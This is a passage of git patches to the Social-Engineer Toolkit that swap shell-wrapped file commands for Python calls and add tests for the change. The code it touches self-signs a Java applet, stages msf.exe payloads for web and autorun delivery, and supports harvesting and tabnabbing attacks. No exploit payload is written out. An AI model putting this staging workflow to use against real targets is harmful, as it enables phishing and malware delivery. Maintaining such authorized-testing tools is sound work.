"src/html/unsigned/unsigned.jar"), + "MyCert", + ]).wait() # move it into our html directory - subprocess.Popen("mv Signed_Update.jar {0}".format(os.path.join(core.userconfigpath, "Signed_Update.jar.orig")), shell=True).wait() + shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar.orig")) # move back to original directory core.print_status("Java Applet is now signed and will be imported into the java applet website attack from now on...") diff --git a/src/webattack/java_applet/sign_jar.py b/src/webattack/java_applet/sign_jar.py index 42ec84d20a..8a8d313b68 100644 --- a/src/webattack/java_applet/sign_jar.py +++ b/src/webattack/java_applet/sign_jar.py @@ -4,6 +4,7 @@ # import subprocess import os +import shutil try: print(""" Simply enter in the required fields, easy example below: @@ -20,16 +21,17 @@ print("""*** WARNING ***\nIN ORDER FOR THIS TO WORK YOU MUST INSTALL sun-java6-jdk or openjdk-6-jdk, so apt-get install openjdk-6-jdk\n*** WARNING ***""") # grab keystore to use later subprocess.Popen( - "keytool -genkey -alias signapplet2 -keystore mykeystore -keypass mykeypass -storepass mystorepass", shell=True).wait() + ["keytool", "-genkey", "-alias", "signapplet2", "-keystore", "mykeystore", "-keypass", "mykeypass", "-storepass", "mystorepass"]).wait() # self-sign the applet subprocess.Popen( - "jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass -signedjar Signed_Update.jar Java_Obf.jar signapplet2", shell=True).wait() + ["jarsigner", "-keystore", "mykeystore", "-storepass", "mystorepass", "-keypass", "mykeypass", "-signedjar", "Signed_Update.jar", "Java_Obf.jar", "signapplet2"]).wait() # move it into our html directory - subprocess.Popen("rm ../../html/Signed_Update.jar.orig", shell=True).wait() - subprocess.Popen( - "cp Signed_Update.jar ../../html/Signed_Update.jar.orig", shell=True).wait() - subprocess.Popen( - "cp Java_Obf.jar ../../html/unsigned/unsigned.jar", shell=True).wait() + try: + os.remove(os.path.join("..", "..", "html", "Signed_Update.jar.orig")) + except FileNotFoundError: + pass + shutil.copyfile("Signed_Update.jar", os.path.join("..", "..", "html", "Signed_Update.jar.orig")) + shutil.copyfile("Java_Obf.jar", os.path.join("..", "..", "html", "unsigned", "unsigned.jar")) print("[*] New java applet has been successfully imported into The Social-Engineer Toolkit (SET)") except: pass diff --git a/src/webattack/java_applet/unsigned.py b/src/webattack/java_applet/unsigned.py index f4f8f0b611..18cddba83a 100644 --- a/src/webattack/java_applet/unsigned.py +++ b/src/webattack/java_applet/unsigned.py @@ -4,13 +4,19 @@ # import subprocess import os -subprocess.Popen("rm Java_Update.jar", stderr=subprocess.PIPE, - stdout=subprocess.PIPE, shell=True) -subprocess.Popen("rm Java.class", stderr=subprocess.PIPE, - stdout=subprocess.PIPE, shell=True) -subprocess.Popen("javac Java.java", shell=True).wait() -subprocess.Popen("jar cvf Java_Update.jar Java.class", shell=True).wait() -subprocess.Popen("jar ufm Java_Update.jar manifest.mf", shell=True).wait() -subprocess.Popen( - "cp Java_Update.jar ../../html/unsigned/unsigned.jar", shell=True) +import shutil + +for artifact in ("Java_Update.jar", "Java.class"): + try: + os.remove(artifact) + except FileNotFoundError: + pass + +subprocess.Popen(["javac", "Java.java"]).wait() +subprocess.Popen(["jar", "cvf", "Java_Update.jar", "Java.class"]).wait() +subprocess.Popen(["jar", "ufm", "Java_Update.jar", "manifest.mf"]).wait() +shutil.copyfile( + "Java_Update.jar", + os.path.join("..", "..", "html", "unsigned", "unsigned.jar"), +) print("[*] Jar file exported as Java_Update.jar") diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 15943d1cf1..a9f967e25d 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -253,3 +253,23 @@ def test_core_export_and_upx_file_operations_avoid_shell_wrappers(): assert 'subprocess.Popen(\n [upx_path, "-9", "-q", "-o", temp_binary_path, path_to_file]' in source assert 'data.replace(b"UPX", random_string.encode("ascii"), 4)' in source assert "os.replace(temp_binary_path, path_to_file)" in source + + +def test_java_signing_helpers_avoid_shell_file_operations(): + paths = [ + Path("src/webattack/java_applet/unsigned.py"), + Path("src/webattack/java_applet/sign_jar.py"), + Path("src/html/unsigned/self_sign.py"), + Path("src/html/unsigned/verified_sign.py"), + ] + + combined = "\n".join(path.read_text() for path in paths) + + assert 'subprocess.Popen("rm ' not in combined + assert 'subprocess.Popen("cp ' not in combined + assert 'subprocess.Popen("mv ' not in combined + assert "shell=True" not in combined + assert 'subprocess.Popen(["javac", "Java.java"])' in combined + assert 'subprocess.Popen(["jar", "cvf", "Java_Update.jar", "Java.class"])' in combined + assert 'shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar"))' in combined + assert 'shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar.orig"))' in combined From 99c3ed9da0ba183f6434ccf3d9574f17c866a915 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:17:33 -0400 Subject: [PATCH 20/23] Harden webattack setup file operations --- src/core/ssl/setssl.py | 26 ++++++++++++++++----- src/webattack/harvester/report_generator.py | 8 +++++-- src/webattack/multi_attack/multiattack.py | 7 ++++-- src/webattack/tabnabbing/tabnabbing.py | 12 ++++++---- tests/test_functionality_fixes.py | 20 ++++++++++++++++ 5 files changed, 58 insertions(+), 15 deletions(-) diff --git a/src/core/ssl/setssl.py b/src/core/ssl/setssl.py index 1fb5c18bbc..1090f991ac 100644 --- a/src/core/ssl/setssl.py +++ b/src/core/ssl/setssl.py @@ -5,16 +5,21 @@ # Used if you want to create self signed from src.core.setcore import * +import glob import subprocess import os +import shutil definepath = os.getcwd() os.chdir(userconfigpath) # create the directories for us -subprocess.Popen("mkdir CA;cd CA;mkdir newcerts private", shell=True).wait() +os.makedirs(os.path.join("CA", "newcerts"), exist_ok=True) +os.makedirs(os.path.join("CA", "private"), exist_ok=True) # move into CA directory os.chdir("CA/") # create necessary files -subprocess.Popen("echo '01' > serial;touch index.txt", shell=True).wait() +with open("serial", "w") as filewrite: + filewrite.write("01\n") +open("index.txt", "a").close() filewrite = open("openssl.cnf", "w") filewrite.write("""# # OpenSSL configuration file. @@ -58,8 +63,17 @@ authorityKeyIdentifier = keyid:always,issuer:always""") # close editing of the file filewrite.close() -subprocess.Popen( - "openssl req -new -x509 -extensions v3_ca -keyout private/cakey.pem -out newcert.pem -days 3650 -config ./openssl.cnf", shell=True).wait() -subprocess.Popen( - "cp private/cakey.pem newreq.pem;cp *.pem ../", shell=True).wait() +subprocess.Popen([ + "openssl", "req", + "-new", + "-x509", + "-extensions", "v3_ca", + "-keyout", "private/cakey.pem", + "-out", "newcert.pem", + "-days", "3650", + "-config", "./openssl.cnf", +]).wait() +shutil.copyfile(os.path.join("private", "cakey.pem"), "newreq.pem") +for pem_path in glob.glob("*.pem"): + shutil.copy2(pem_path, "..") os.chdir(definepath) diff --git a/src/webattack/harvester/report_generator.py b/src/webattack/harvester/report_generator.py index eb425cadba..2f5be48f58 100644 --- a/src/webattack/harvester/report_generator.py +++ b/src/webattack/harvester/report_generator.py @@ -1,9 +1,9 @@ #!/usr/bin/env python import re -import subprocess import os import datetime +import shutil from src.core.setcore import * # make sure the reports directory is created @@ -122,5 +122,9 @@ class bcolors: except: pass -subprocess.Popen("cp -rf %s/src/core/reports/files %sreports/" % (definepath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() +shutil.copytree( + os.path.join(definepath, "src", "core", "reports", "files"), + os.path.join(userconfigpath, "reports", "files"), + dirs_exist_ok=True, +) print(bcolors.BLUE + "[*] File in XML format exported to %sreports/%s.xml for your reading pleasure..." % (userconfigpath, now) + bcolors.ENDC) diff --git a/src/webattack/multi_attack/multiattack.py b/src/webattack/multi_attack/multiattack.py index 52d57df9c3..8746d4797b 100644 --- a/src/webattack/multi_attack/multiattack.py +++ b/src/webattack/multi_attack/multiattack.py @@ -3,6 +3,7 @@ import sys import os import subprocess +import shutil import time import signal @@ -86,8 +87,10 @@ def write_file(filename, results): # clean up cloner directory if clonedurl == 0: - subprocess.Popen("rm -rf %s/web_clone;mkdir %s/web_clone/" % (userconfigpath, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + web_clone_path = os.path.join(userconfigpath, "web_clone") + if os.path.isdir(web_clone_path): + shutil.rmtree(web_clone_path) + os.makedirs(web_clone_path, exist_ok=True) # set a quick loop to see what the user wants a = 1 diff --git a/src/webattack/tabnabbing/tabnabbing.py b/src/webattack/tabnabbing/tabnabbing.py index ddd587fcc2..a3357b9251 100644 --- a/src/webattack/tabnabbing/tabnabbing.py +++ b/src/webattack/tabnabbing/tabnabbing.py @@ -1,8 +1,8 @@ #!/usr/bin/env python -import subprocess import re -import urllib import os +import shutil +from urllib import request from src.core.setcore import * # # TabNabbing Source here @@ -44,8 +44,10 @@ URL = "http://" + URL # move cloned site to index2.html -subprocess.Popen("mv %s/web_clone/index.html %s/web_clone/index2.html" % - (userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() +os.replace( + os.path.join(userconfigpath, "web_clone", "index.html"), + os.path.join(userconfigpath, "web_clone", "index2.html"), +) # grab the source and write it out to the cloned directory fileopen = open("src/webattack/tabnabbing/source.js", "r") @@ -62,7 +64,7 @@ if attack_vector == "tabnabbing": # grab favicon - favicon = urllib.request.urlopen("%s/favicon.ico" % (URL)) + favicon = request.urlopen("%s/favicon.ico" % (URL)) output = open(userconfigpath + '/web_clone/favicon.ico', 'wb') output.write(favicon.read()) output.close() diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index a9f967e25d..0ff0f8b462 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -273,3 +273,23 @@ def test_java_signing_helpers_avoid_shell_file_operations(): assert 'subprocess.Popen(["jar", "cvf", "Java_Update.jar", "Java.class"])' in combined assert 'shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar"))' in combined assert 'shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar.orig"))' in combined + + +def test_webattack_setup_helpers_avoid_shell_file_operations(): + report_generator = Path("src/webattack/harvester/report_generator.py").read_text() + tabnabbing = Path("src/webattack/tabnabbing/tabnabbing.py").read_text() + multiattack = Path("src/webattack/multi_attack/multiattack.py").read_text() + setssl = Path("src/core/ssl/setssl.py").read_text() + + assert 'subprocess.Popen("cp -rf %s/src/core/reports/files' not in report_generator + assert 'subprocess.Popen("mv %s/web_clone/index.html %s/web_clone/index2.html"' not in tabnabbing + assert 'subprocess.Popen("rm -rf %s/web_clone;mkdir %s/web_clone/"' not in multiattack + assert 'subprocess.Popen("mkdir CA;cd CA;mkdir newcerts private"' not in setssl + assert "subprocess.Popen(\"echo '01' > serial;touch index.txt\"" not in setssl + assert 'subprocess.Popen(\n "cp private/cakey.pem newreq.pem;cp *.pem ../"' not in setssl + assert 'dirs_exist_ok=True' in report_generator + assert 'from urllib import request' in tabnabbing + assert 'shutil.rmtree(web_clone_path)' in multiattack + assert 'os.makedirs(os.path.join("CA", "newcerts"), exist_ok=True)' in setssl + assert '"openssl", "req",' in setssl + assert '"-extensions", "v3_ca"' in setssl From 029bd43260ce005e46cb871281a2d9a9deb61958 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:19:09 -0400 Subject: [PATCH 21/23] Harden HTML spawn file staging --- src/html/spawn.py | 39 ++++++++++++++++++++++++++----- tests/test_functionality_fixes.py | 14 +++++++++++ 2 files changed, 47 insertions(+), 6 deletions(-) diff --git a/src/html/spawn.py b/src/html/spawn.py index 28d9172641..c18bd0d6f9 100644 --- a/src/html/spawn.py +++ b/src/html/spawn.py @@ -4,6 +4,7 @@ import re import socket import subprocess +import glob from src.core.setcore import * #python 3 compatibility try: import thread @@ -14,6 +15,25 @@ import socket import datetime + +def copy_matches(pattern, destination): + os.makedirs(destination, exist_ok=True) + for source_path in glob.glob(pattern): + destination_path = os.path.join(destination, os.path.basename(source_path)) + if os.path.isdir(source_path): + shutil.copytree(source_path, destination_path, dirs_exist_ok=True) + else: + shutil.copy2(source_path, destination_path) + + +def remove_matches(pattern): + for path in glob.glob(pattern): + if os.path.isdir(path): + shutil.rmtree(path) + else: + os.remove(path) + + # set current path definepath = os.getcwd() @@ -35,7 +55,7 @@ # grab the randomized applet name applet_name = check_options("APPLET_NAME=") -if applet_name == "": +if applet_name in (0, ""): applet_name = generate_random_string(6, 15) + ".jar" update_options("APPLET_NAME=" + applet_name) @@ -54,7 +74,10 @@ data = data.replace('param name="8" value="YES"', 'param name="8" value="%s"' % (goat_random)) filewrite.write(data) filewrite.close() - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html" % (userconfigpath, userconfigpath), shell=True).wait() + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) print_status("Note that since you are using a custom payload, you will need to create your OWN listener.") print_status("SET has no idea what type of payload you are using, so you will need to set this up manually.") @@ -351,8 +374,11 @@ def random_string(minlength=6, maxlength=15): break if apache == 1: - subprocess.Popen("cp %s/src/html/*.bin %s 1> /dev/null 2> /dev/null;cp %s/src/html/*.html %s 1> /dev/null 2> /dev/null;cp %s/web_clone/* %s 1> /dev/null 2> /dev/null;cp %s/msf.exe %s 1> /dev/null 2> /dev/null;cp %s/*.jar %s 1> /dev/null 2> /dev/null" % - (definepath, apache_path, definepath, apache_path, userconfigpath, apache_path, userconfigpath, apache_path, userconfigpath, apache_path), shell=True).wait() + copy_matches(os.path.join(definepath, "src", "html", "*.bin"), apache_path) + copy_matches(os.path.join(definepath, "src", "html", "*.html"), apache_path) + copy_matches(os.path.join(userconfigpath, "web_clone", "*"), apache_path) + copy_matches(os.path.join(userconfigpath, "msf.exe"), apache_path) + copy_matches(os.path.join(userconfigpath, "*.jar"), apache_path) # if we are tracking users if track_email == "on": now = datetime.datetime.today() @@ -650,8 +676,9 @@ def random_string(minlength=6, maxlength=15): subprocess.Popen( "pkill dnsspoof 1> /dev/null 2> /dev/null", shell=True).wait() if apache == 1: - subprocess.Popen("rm %s/index.html 1> /dev/null 2> /dev/null;rm %s/Signed* 1> /dev/null 2> /dev/null;rm %s/*.exe 1> /dev/null 2> /dev/null" % - (apache_path, apache_path, apache_path), shell=True).wait() + remove_matches(os.path.join(apache_path, "index.html")) + remove_matches(os.path.join(apache_path, "Signed*")) + remove_matches(os.path.join(apache_path, "*.exe")) except: try: child.close() diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 0ff0f8b462..2175d7ce25 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -293,3 +293,17 @@ def test_webattack_setup_helpers_avoid_shell_file_operations(): assert 'os.makedirs(os.path.join("CA", "newcerts"), exist_ok=True)' in setssl assert '"openssl", "req",' in setssl assert '"-extensions", "v3_ca"' in setssl + + +def test_spawn_uses_python_file_operations_for_staging(): + source = Path("src/html/spawn.py").read_text() + + assert 'subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html"' not in source + assert 'subprocess.Popen("cp %s/src/html/*.bin %s' not in source + assert 'subprocess.Popen("rm %s/index.html' not in source + assert "def copy_matches(pattern, destination):" in source + assert "def remove_matches(pattern):" in source + assert 'if applet_name in (0, ""):' in source + assert 'copy_matches(os.path.join(definepath, "src", "html", "*.bin"), apache_path)' in source + assert 'copy_matches(os.path.join(userconfigpath, "web_clone", "*"), apache_path)' in source + assert 'remove_matches(os.path.join(apache_path, "Signed*"))' in source From 927650688963ed7a08453a243f85e341b2fbe652 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:21:19 -0400 Subject: [PATCH 22/23] Harden payload copy file operations --- src/autorun/autolaunch.py | 38 +++++++++++++++----------- src/core/msf_attacks/create_payload.py | 21 ++++++++------ src/fasttrack/mssql.py | 19 +++++++------ tests/test_functionality_fixes.py | 17 ++++++++++++ 4 files changed, 63 insertions(+), 32 deletions(-) diff --git a/src/autorun/autolaunch.py b/src/autorun/autolaunch.py index 0dc5172d55..3b7fd2be85 100644 --- a/src/autorun/autolaunch.py +++ b/src/autorun/autolaunch.py @@ -4,6 +4,8 @@ import os import subprocess +import glob +import shutil from time import sleep import src.core.setcore as core @@ -16,29 +18,33 @@ trigger = 0 + +def reset_autorun_path(): + if os.path.isdir(autorun_path): + shutil.rmtree(autorun_path) + os.makedirs(autorun_path, exist_ok=True) + + if core.check_options("INFECTION_MEDIA=") == "ON": trigger = 1 - subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" - "mkdir {0} 1> /dev/null 2> /dev/null;" - "cp {1} {2} 1> /dev/null 2> /dev/null".format(autorun_path, - os.path.join(core.userconfigpath, "payload.exe"), - os.path.join(autorun_path, "program.exe")), - shell=True).wait() + reset_autorun_path() + shutil.copyfile( + os.path.join(core.userconfigpath, "payload.exe"), + os.path.join(autorun_path, "program.exe"), + ) if os.path.isfile(os.path.join(core.userconfigpath, "fileformat.file")): trigger = 2 - subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" - "mkdir {0} 1> /dev/null 2> /dev/null;" - "cp {1} {0} 1> /dev/null 2>/dev/null".format(autorun_path, - os.path.join(core.userconfigpath, "template.pdf")), - shell=True).wait() + reset_autorun_path() + shutil.copyfile( + os.path.join(core.userconfigpath, "template.pdf"), + os.path.join(autorun_path, "template.pdf"), + ) if os.path.isfile(os.path.join(core.userconfigpath, "dll/openthis.wab")): - subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" - "mkdir {0} 1> /dev/null 2> /dev/null;" - "cp {1} {0} 1> /dev/null 2> /dev/null".format(autorun_path, - os.path.join(core.userconfigpath, "dll/*")), - shell=True).wait() + reset_autorun_path() + for source_path in glob.glob(os.path.join(core.userconfigpath, "dll", "*")): + shutil.copy2(source_path, autorun_path) trigger = 3 if not os.path.isdir(autorun_path): diff --git a/src/core/msf_attacks/create_payload.py b/src/core/msf_attacks/create_payload.py index c7ac4c8a12..e2660b3798 100644 --- a/src/core/msf_attacks/create_payload.py +++ b/src/core/msf_attacks/create_payload.py @@ -6,6 +6,7 @@ import sys import os import socket +import shutil import pexpect import time from src.core.setcore import * @@ -221,14 +222,18 @@ pause = raw_input("Press {return} to move back.") break if os.path.isfile(userconfigpath + "" + outfile): - subprocess.Popen("cp " + msfpath + "local/%s %s" % (filename_code, userconfigpath), - stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True) + shutil.copyfile( + os.path.join(msfpath, "local", filename_code), + os.path.join(userconfigpath, filename_code), + ) a = 2 # break else: print_status("Waiting for payload generation to complete (be patient, takes a bit)...") if os.path.isfile(msfpath + "local/" + outfile): - subprocess.Popen("cp %slocal/%s %s" % - (msfpath, outfile, userconfigpath), shell=True) + shutil.copyfile( + os.path.join(msfpath, "local", outfile), + os.path.join(userconfigpath, outfile), + ) counter = counter + 1 time.sleep(3) @@ -321,14 +326,14 @@ def random_string(minlength=6, maxlength=15): filewrite.write("TEMPLATE=CUSTOM") filewrite.close() time.sleep(1) - subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x" % ( - userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + web_clone_path = os.path.join(userconfigpath, "web_clone") + os.makedirs(web_clone_path, exist_ok=True) + shutil.copyfile("src/html/msf.exe", os.path.join(web_clone_path, "x")) child = pexpect.spawn("python src/html/web_server.py") # if we are using apache if apache == 1: - subprocess.Popen("cp src/html/msf.exe %s/x.exe" % - (apache_path), shell=True).wait() + shutil.copyfile("src/html/msf.exe", os.path.join(apache_path, "x.exe")) if os.path.isfile(userconfigpath + "meta_config"): # if we aren't using the infectious method then do normal routine diff --git a/src/fasttrack/mssql.py b/src/fasttrack/mssql.py index d189e9ddd2..e567992c7b 100644 --- a/src/fasttrack/mssql.py +++ b/src/fasttrack/mssql.py @@ -5,12 +5,16 @@ import os import shutil import subprocess -import thread import time import pexpect import src.core.setcore as core import impacket.tds as tds +try: + import _thread as thread +except ImportError: + import thread + #from src.core.payloadgen import create_payloads # Py2/3 compatibility @@ -189,13 +193,12 @@ def deploy_hex2binary(ipaddr, port, username, password): # if it isn't there yet if not os.path.isfile(core.userconfigpath + "1msf.exe"): # move it then - subprocess.Popen("cp %s/msf.exe %s/1msf.exe" % - (core.userconfigpath, core.userconfigpath), shell=True).wait() - subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" % - (core.userconfigpath, core.userconfigpath), shell=True).wait() - subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" % - (core.userconfigpath, core.userconfigpath), shell=True).wait() - payload_filename = os.path.join(web_path + "1msf.exe") + first_stage = os.path.join(core.userconfigpath, "1msf.exe") + second_stage = os.path.join(core.userconfigpath, "msf2.exe") + shutil.copyfile(os.path.join(core.userconfigpath, "msf.exe"), first_stage) + if os.path.isfile(second_stage): + shutil.copyfile(second_stage, os.path.join(core.userconfigpath, "msf.exe")) + payload_filename = os.path.join(web_path, "1msf.exe") with open(payload_filename, "rb") as fileopen: # read in the binary diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 2175d7ce25..106797171e 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -307,3 +307,20 @@ def test_spawn_uses_python_file_operations_for_staging(): assert 'copy_matches(os.path.join(definepath, "src", "html", "*.bin"), apache_path)' in source assert 'copy_matches(os.path.join(userconfigpath, "web_clone", "*"), apache_path)' in source assert 'remove_matches(os.path.join(apache_path, "Signed*"))' in source + + +def test_payload_copy_helpers_avoid_shell_file_operations(): + autorun = Path("src/autorun/autolaunch.py").read_text() + mssql = Path("src/fasttrack/mssql.py").read_text() + create_payload = Path("src/core/msf_attacks/create_payload.py").read_text() + + assert 'subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"' not in autorun + assert 'subprocess.Popen("cp %s/msf.exe %s/1msf.exe"' not in mssql + assert 'subprocess.Popen("cp " + msfpath + "local/%s %s"' not in create_payload + assert 'subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x"' not in create_payload + assert 'subprocess.Popen("cp src/html/msf.exe %s/x.exe"' not in create_payload + assert "def reset_autorun_path():" in autorun + assert 'glob.glob(os.path.join(core.userconfigpath, "dll", "*"))' in autorun + assert "import _thread as thread" in mssql + assert 'payload_filename = os.path.join(web_path, "1msf.exe")' in mssql + assert 'shutil.copyfile("src/html/msf.exe", os.path.join(web_clone_path, "x"))' in create_payload From 5e0fbb50ca8b156ac93532a0a4d138900c6e0827 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:22:42 -0400 Subject: [PATCH 23/23] Bump release metadata to 8.1.3 --- README.md | 2 +- pyproject.toml | 2 +- readme/CHANGELOG | 12 ++++++++++++ src/core/set.version | 2 +- tests/test_release_metadata.py | 4 ++-- 5 files changed, 17 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 8bc3d53857..0a721a955e 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ SET is only for authorized testing where explicit permission and scope have been - macOS, experimental - Windows through WSL/WSL2 Kali or another supported Linux environment -SET 8.1.2 targets Python 3.11 through Python 3.13. +SET 8.1.3 targets Python 3.11 through Python 3.13. ## Installation diff --git a/pyproject.toml b/pyproject.toml index 21469f278e..0620c21e1e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "social-engineer-toolkit" -version = "8.1.2" +version = "8.1.3" description = "An open-source penetration testing framework for authorized social-engineering assessments." readme = "README.md" requires-python = ">=3.11,<3.14" diff --git a/readme/CHANGELOG b/readme/CHANGELOG index f3589603d8..6012b551bb 100644 --- a/readme/CHANGELOG +++ b/readme/CHANGELOG @@ -1,3 +1,15 @@ +~~~~~~~~~~~~~~~~ +version 8.1.3 +~~~~~~~~~~~~~~~~ + +* fix AES payload encryption/decryption paths to use explicit modes and Python 3 byte-safe base64 output +* normalize Python 3 byte/text handling in payload patching, RATTE, DLL hijacking, Teensy, SMTP, and socket-send paths +* fix Java payload generation to encode generated shellcode and AES keys instead of literal placeholder bytes +* replace brittle shell-wrapped local file operations across web attack, harvester, Java applet, autorun, Fast-Track MSSQL, Metasploit payload, Teensy, and SET core paths +* fix multiple path handling issues for web clone exports, applet naming defaults, RATTE staging, MSSQL payload staging, and SSL PEM staging +* modernize Java signing and SSL certificate helper command execution to avoid shell parsing around filenames and certificate values +* expand regression coverage for Python 3 compatibility, payload encoding, file staging, release metadata, and hardened helper behavior + ~~~~~~~~~~~~~~~~ version 8.1.2 ~~~~~~~~~~~~~~~~ diff --git a/src/core/set.version b/src/core/set.version index 6b409d977b..406b898277 100644 --- a/src/core/set.version +++ b/src/core/set.version @@ -1 +1 @@ -8.1.2 +8.1.3 diff --git a/tests/test_release_metadata.py b/tests/test_release_metadata.py index 370f8785fe..75a27e0d53 100644 --- a/tests/test_release_metadata.py +++ b/tests/test_release_metadata.py @@ -9,8 +9,8 @@ def test_release_version_is_consistent(): pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) set_version = (ROOT / "src/core/set.version").read_text().strip() - assert pyproject["project"]["version"] == "8.1.2" - assert set_version == "8.1.2" + assert pyproject["project"]["version"] == "8.1.3" + assert set_version == "8.1.3" def test_ci_targets_supported_python_versions():